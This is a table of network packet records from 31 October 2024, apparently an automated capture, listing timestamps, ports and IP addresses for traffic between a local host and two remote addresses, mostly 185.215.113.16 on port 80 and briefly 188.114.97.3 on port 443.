Oct 31, 2024 04:16:17.352135897 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352161884 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352166891 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352188110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352188110 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352201939 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352205992 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352221966 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352226019 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352235079 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352260113 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352272987 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352288008 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352303982 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352310896 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352320910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352323055 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352338076 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352343082 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352353096 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352361917 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352371931 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352377892 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352394104 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352396965 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352407932 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352432013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352441072 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352449894 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352467060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352493048 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352504015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352516890 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352519989 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352544069 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352545977 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352559090 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352560043 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352576017 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352577925 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352591038 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352595091 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352616072 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352637053 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352641106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352657080 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352693081 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352708101 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352709055 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352732897 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352749109 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352763891 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352771997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352778912 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352796078 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352802992 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352824926 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352852106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352852106 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352869987 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352885008 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352900028 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352909088 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352925062 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352937937 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352941036 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352963924 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352978945 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352982998 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352994919 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353004932 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353020906 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353034019 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353060961 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353085995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353101015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353116035 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353131056 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353147984 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353173971 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353219032 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353240967 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353255987 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353271008 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353285074 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353287935 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353300095 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353336096 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353483915 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353522062 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353529930 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353566885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353583097 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353662014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353667974 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353673935 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353698015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353704929 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353714943 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353729010 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353730917 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353745937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353758097 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353760958 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353786945 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353786945 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353801966 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353804111 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353818893 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353830099 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353841066 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353843927 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353857040 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353866100 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353874922 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353880882 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353894949 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353897095 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353913069 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353930950 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353940010 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353949070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353962898 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.353974104 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353991985 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.353993893 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354007006 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354022980 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354022980 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354038954 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354048967 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354054928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354069948 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354078054 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354087114 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354099035 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354104042 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354123116 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354140043 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354252100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354305983 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354321957 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354350090 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354368925 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354434013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354449987 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354465008 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354487896 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354492903 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354512930 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354517937 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354527950 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354541063 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354546070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354562998 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354563951 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354574919 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354583025 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354585886 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354604959 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354609013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354621887 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.354630947 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354651928 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.354676962 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.402231932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.402249098 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.402264118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.402312994 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.402354002 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.416373968 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.416389942 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.416404963 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.416472912 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.416492939 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.453418016 CET	443	49868	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:17.453495979 CET	49868	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:17.511012077 CET	49868	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:17.511023045 CET	443	49868	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:17.511375904 CET	443	49868	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:17.513447046 CET	49868	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:17.513551950 CET	49868	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:17.513581991 CET	443	49868	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:17.526011944 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526027918 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526038885 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526083946 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526083946 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526509047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526526928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526547909 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526546955 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526560068 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526560068 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526575089 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526582956 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526587009 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526592016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526612043 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526639938 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526645899 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526657104 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526679993 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526699066 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526823044 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526834965 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526844978 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526855946 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526859999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526865959 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526875019 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526878119 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526891947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526901007 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526931047 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.526979923 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.526993036 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527004004 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527019024 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527029991 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527038097 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527067900 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527129889 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527141094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527152061 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527164936 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527180910 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527198076 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527343988 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527355909 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527370930 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527386904 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527389050 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527400017 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527400017 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527411938 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527421951 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527425051 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527436972 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527448893 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527450085 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527475119 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527492046 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527537107 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527549028 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527559996 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527585030 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527594090 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527616978 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527641058 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527709007 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527720928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527731895 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527746916 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527762890 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527770996 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527862072 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527872086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527883053 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527894020 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527905941 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.527915001 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.527977943 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528027058 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528038025 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528049946 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528060913 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528072119 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528074026 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528084040 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528090000 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528096914 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528096914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528129101 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528140068 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528153896 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528228045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528341055 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528352022 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528362036 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528374910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528383017 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528383970 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528397083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528398037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528409958 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528419018 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528424025 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528428078 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528459072 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528489113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528501034 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528510094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528526068 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528542042 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528551102 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528661966 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528673887 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528683901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528696060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528707981 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528707981 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528722048 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528728962 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528733015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528734922 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528743029 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528754950 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528803110 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528815031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528829098 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528839111 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528856039 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528858900 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528867960 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528878927 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.528888941 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528920889 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.528987885 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529005051 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529016972 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529026985 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529026985 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529038906 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529050112 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529052019 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529062033 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529073000 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529081106 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529084921 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529093027 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529109001 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529149055 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529315948 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529326916 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529337883 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529349089 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529360056 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529362917 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529371977 CET	80	49849	185.215.113.16	192.168.2.4
